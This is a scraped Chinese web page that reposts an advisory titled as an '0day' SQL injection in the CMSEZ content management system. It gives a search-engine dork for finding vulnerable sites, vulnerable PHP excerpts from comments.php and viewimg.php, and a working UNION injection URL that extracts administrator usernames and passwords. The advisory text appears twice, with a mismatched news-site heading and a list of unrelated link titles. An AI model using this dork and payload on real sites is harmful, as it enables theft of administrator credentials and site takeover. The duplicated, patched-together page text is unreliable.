九乡新闻网英雄儿女插曲英雄赞歌:Cmsez(随易)全站系统注入0day
来源：百度文库 编辑：九乡新闻网 时间：2024/04/30 04:26:01
allinurl:"owered by CMSEZ" comments.php inurlowered by CMSEZ
漏洞代码：mainfile.php//comments
include "mainfile.php";
$art=new article();
//设定
$confirm='yes';//yes:需要管理员认证后才能显示,no:直接显示
$member=new member();
$user_info=$member->member_auth();
$ulevel=$user_info[user_level];
########设置#############
$action = $_REQUEST[action];
$page="10";//
$need_user = "0";//
$id = $_REQUEST[id];// //对ID参数完全没过滤
$fdb = $PlusDB->prefix(forum);//评论的数据库
switch($action){
case "showNum":
$sql="select count(*) as num from ".$fdb." where post_aid='$id'";
$showNum=$PlusDB->getone($sql);
echo "
function comment(id)
{
var page = \"".PLUS_URL."/comments.php?id=\" + id ;
popwin = window.open(page,\"\",\"width=460,height=500,scrollbars,resizable\")
popwin.focus();
}
document.open();
document.write(\""._LANG_0931." $showNum "._LANG_0932."\");
document.close();";
break;
case "saveComment": viewimg.php
//image.php 显示附件的图片
include "mainfile.php";
$member=new member();
$confirm==false;//true 会员才能看,false 都能看
$user_info = $member->member_auth();
if($user_info[user_level]=="Guest" && $confirm==true){
include "modules/member/index.php";
}else{
$imgdb = $PlusDB->prefix(images);
$id=$_GET[id]; //米过滤,为什么他要直接获得啊!
$aid = $_GET[aid]; //难道赶着吃晚饭?
$sql="select id from $imgdb where aid=$aid order by id ";exp:
http://localhost/comments.php?id=1111111111111/**/union/**/1,concat(name,0x3a,pass),2,3,4/**/from/**/admin/*
本文转自 ☆★ 包罗万象网 ★☆ - http://www.baoluowanxiang.com 转载请注明出处，侵权必究！
原文链接：http://www.baoluowanxiang.com/a/net-offense/loophole/2011/0215/2819.html
漏洞代码：mainfile.php//comments
include "mainfile.php";
$art=new article();
//设定
$confirm='yes';//yes:需要管理员认证后才能显示,no:直接显示
$member=new member();
$user_info=$member->member_auth();
$ulevel=$user_info[user_level];
########设置#############
$action = $_REQUEST[action];
$page="10";//
$need_user = "0";//
$id = $_REQUEST[id];// //对ID参数完全没过滤
$fdb = $PlusDB->prefix(forum);//评论的数据库
switch($action){
case "showNum":
$sql="select count(*) as num from ".$fdb." where post_aid='$id'";
$showNum=$PlusDB->getone($sql);
echo "
function comment(id)
{
var page = \"".PLUS_URL."/comments.php?id=\" + id ;
popwin = window.open(page,\"\",\"width=460,height=500,scrollbars,resizable\")
popwin.focus();
}
document.open();
document.write(\""._LANG_0931." $showNum "._LANG_0932."\");
document.close();";
break;
case "saveComment": viewimg.php
//image.php 显示附件的图片
include "mainfile.php";
$member=new member();
$confirm==false;//true 会员才能看,false 都能看
$user_info = $member->member_auth();
if($user_info[user_level]=="Guest" && $confirm==true){
include "modules/member/index.php";
}else{
$imgdb = $PlusDB->prefix(images);
$id=$_GET[id]; //米过滤,为什么他要直接获得啊!
$aid = $_GET[aid]; //难道赶着吃晚饭?
$sql="select id from $imgdb where aid=$aid order by id ";exp:
http://localhost/comments.php?id=1111111111111/**/union/**/1,concat(name,0x3a,pass),2,3,4/**/from/**/admin/*
本文转自 ☆★ 包罗万象网 ★☆ - http://www.baoluowanxiang.com 转载请注明出处，侵权必究！
原文链接：http://www.baoluowanxiang.com/a/net-offense/loophole/2011/0215/2819.html
Cmsez(随易)全站系统注入0day
SQL注入天书之ASP注入漏洞全接触
0Day漏洞
期货交易系统(全）
未来生活畅想：A Day Made of Glass 全玻璃触控
人体骨骼系统全图
最新最全五个系统
资产注入
Long Day
Day Dreaming
First Day
Beautiful day
Summer Day
系统防范入侵全攻略 - 系统攻防 - 360论坛
如何刻录XP系统光盘2（Nero7.0功能全解）
如何刻录XP系统光盘3（Nero7.0功能全解）
如何刻录XP系统光盘（Nero7.0功能全解）
最新最全五个系统1000套免费卫星网络电视台在线看0
六大均线系统全攻略
扔掉光驱 系统安装 备份全搞定
最全的系统下载地址
扔掉光驱 系统安装 + 备份全搞定
数码单反相机对焦系统全解析
Windows XP系统恢复全攻略